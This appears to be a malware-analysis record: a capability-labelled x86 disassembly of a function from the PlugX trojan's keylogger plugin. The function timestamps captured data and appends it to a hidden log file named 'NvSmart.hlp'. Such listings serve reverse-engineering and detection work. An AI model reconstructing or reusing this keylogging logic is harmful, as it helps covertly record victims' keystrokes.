Function at 0x10010680
Capabilities:
Set file attributes
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x23c
push ebx
push esi
push edi
lea eax, [ebp - 0x34]
push eax
call dword [sym.imp.KERNEL32.dll_GetLocalTime]
movzx eax, word [ebp - 0x28]
push eax
movzx eax, word [ebp - 0x2a]
push eax
movzx eax, word [ebp - 0x2c]
push eax
movzx eax, word [ebp - 0x2e]
push eax
movzx eax, word [ebp - 0x32]
push eax
movzx eax, word [ebp - 0x34]
push eax
lea eax, [ebp - 0x238]
push str._4.4d__2.2d__2.2d__2.2d:_2.2d:_2.2d
push eax
call dword [sym.imp.USER32.dll_wsprintfW]
mov esi, dword [sym.imp.KERNEL32.dll_lstrlenW]
lea eax, [ebp - 0x238]
add esp, 0x20
mov dword [ebp - 0xc], 0
mov dword [ebp - 4], 0
mov dword [ebp - 8], 0
mov dword [ebp - 0x10], 0
push eax
call esi
add eax, eax
lea ecx, [ebp - 0x10]
push eax
lea eax, [ebp - 0x238]
push eax
call fcn.100066e0
push 0x10029398
call esi
add eax, eax
lea ecx, [ebp - 0x10]
push eax
push 0x10029398
call fcn.100066e0
push 0x1002d400
call esi
add eax, eax
lea ecx, [ebp - 0x10]
push eax
push 0x1002d400
call fcn.100066e0
push 0x10029398
call esi
add eax, eax
lea ecx, [ebp - 0x10]
push eax
push 0x10029398
call fcn.100066e0
push 0x1002f800
call esi
add eax, eax
lea ecx, [ebp - 0x10]
push eax
push 0x1002f800
call fcn.100066e0
push 0x10028c1c
call esi
add eax, eax
lea ecx, [ebp - 0x10]
push eax
push 0x10028c1c
call fcn.100066e0
push 0x1002f400
call esi
add eax, eax
lea ecx, [ebp - 0x10]
push eax
push 0x1002f400
call fcn.100066e0
push str._r_n_r_n
call esi
add eax, eax
lea ecx, [ebp - 0x10]
push eax
push str._r_n_r_n
call fcn.100066e0
cmp dword [0x1002d3d8], 0
mov dword [ebp - 0x20], 0
mov dword [ebp - 0x18], 0
mov dword [ebp - 0x1c], 0
mov dword [ebp - 0x24], 0
jne 0x100107f0
push 0x1994
call fcn.1002422e
add esp, 4
test eax, eax
je 0x100107e9
mov dword [eax + 0x1990], 0
jmp 0x100107eb
xor eax, eax
mov dword [0x1002d3d8], eax
cmp word [0x10030354], 0
jne 0x1001084a
push 0
mov edx, 0x38
mov ecx, str.F:PersonalC2PlugX_6.0_mainPlug6.0_360__RsTray__xyzreg__7.0_ShellcodeShellcodeXSetting.h
call fcn.10024152
add esp, 4
cmp word [0x10030354], 0
jne 0x1001084a
push 0
mov edx, 0x39
mov ecx, str.F:PersonalC2PlugX_6.0_mainPlug6.0_360__RsTray__xyzreg__7.0_ShellcodeShellcodeXSetting.h
call fcn.10024152
add esp, 4
cmp word [0x10030354], 0
jne 0x1001084a
push 0
mov edx, 0x3a
mov ecx, str.F:PersonalC2PlugX_6.0_mainPlug6.0_360__RsTray__xyzreg__7.0_ShellcodeShellcodeXSetting.h
call fcn.10024152
add esp, 4
mov edx, 0x10030354
lea ecx, [ebp - 0x24]
call fcn.1001b5b0
test eax, eax
je 0x1001086f
push 0
mov edx, 0x20a
mov ecx, str.F:PersonalC2PlugX_6.0_mainPlug6.0_360__RsTray__xyzreg__7.0_ShellcodeShellcodeXPlugKeyLogger.cpp
call fcn.10024152
add esp, 4
mov eax, dword [ebp - 0x24]
mov ecx, dword [ebp - 0x18]
cdq
sub eax, edx
sar eax, 1
cmp word [ecx + eax*2 - 2], 0x5c
je 0x100108a9
push 2
push 0x10028918
lea ecx, [ebp - 0x24]
call fcn.100066e0
test eax, eax
je 0x100108a9
push 0
mov edx, 0xfc
mov ecx, str.F:PersonalC2PlugX_6.0_mainPlug6.0_360__RsTray__xyzreg__7.0_ShellcodeShellcodeXBuffer.cpp
call fcn.10024152
add esp, 4
push str.NvSmart.hlp
call esi
add eax, eax
lea ecx, [ebp - 0x24]
push eax
push str.NvSmart.hlp
call fcn.100066e0
test eax, eax
je 0x100108d8
push 0
mov edx, 0x20f
mov ecx, str.F:PersonalC2PlugX_6.0_mainPlug6.0_360__RsTray__xyzreg__7.0_ShellcodeShellcodeXPlugKeyLogger.cpp
call fcn.10024152
add esp, 4
mov eax, dword [ebp - 0x10]
xor esi, esi
mov ebx, dword [ebp - 0x18]
mov ecx, ebx
mov dword [ebp - 0x14], eax
call fcn.1001b190
test eax, eax
je 0x10010901
push esi
mov edx, 0x29b
mov ecx, str.F:PersonalC2PlugX_6.0_mainPlug6.0_360__RsTray__xyzreg__7.0_ShellcodeShellcodeXRTL.cpp
call fcn.10024152
add esp, 4
push 0
push ebx
call dword [sym.imp.KERNEL32.dll_SetFileAttributesW]
push 0
push 0
push 4
push 0
push 1
push 0x40000000
push ebx
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov edi, eax
cmp edi, 0xffffffff
jne 0x1001093b
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov esi, eax
mov edx, 0x2a7
push 0
jmp 0x100109c0
push 2
push 0
push 0
push edi
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
cmp eax, 0xffffffff
jne 0x1001095a
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, 0x2ac
jmp 0x1001097c
push 0
lea eax, [ebp - 0x14]
push eax
push dword [ebp - 0x14]
push dword [ebp - 4]
push edi
call dword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
jne 0x1001098d
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, 0x2b1
push 0
mov ecx, str.F:PersonalC2PlugX_6.0_mainPlug6.0_360__RsTray__xyzreg__7.0_ShellcodeShellcodeXRTL.cpp
mov esi, eax
call fcn.10024152
add esp, 4
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
test eax, eax
jne 0x100109ab
push eax
mov edx, 0x2b8
mov ecx, str.F:PersonalC2PlugX_6.0_mainPlug6.0_360__RsTray__xyzreg__7.0_ShellcodeShellcodeXRTL.cpp
call fcn.10024152
add esp, 4
mov ecx, ebx
call fcn.1001c750
test eax, eax
je 0x100109cd
test esi, esi
je 0x100109e6
push esi
mov edx, 0x2bd
mov ecx, str.F:PersonalC2PlugX_6.0_mainPlug6.0_360__RsTray__xyzreg__7.0_ShellcodeShellcodeXRTL.cpp
call fcn.10024152
add esp, 4
test esi, esi
je 0x100109e6
push esi
mov edx, 0x214
mov ecx, str.F:PersonalC2PlugX_6.0_mainPlug6.0_360__RsTray__xyzreg__7.0_ShellcodeShellcodeXPlugKeyLogger.cpp
call fcn.10024152
add esp, 4
jmp 0x100109e8
xor esi, esi
mov eax, dword [ebp - 0x20]
test eax, eax
je 0x100109fa
push 1
push eax
call fcn.10027bcc
add esp, 8
mov eax, dword [ebp - 0xc]
test eax, eax
je 0x10010a0c
push 1
push eax
call fcn.10027bcc
add esp, 8
pop edi
mov eax, esi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret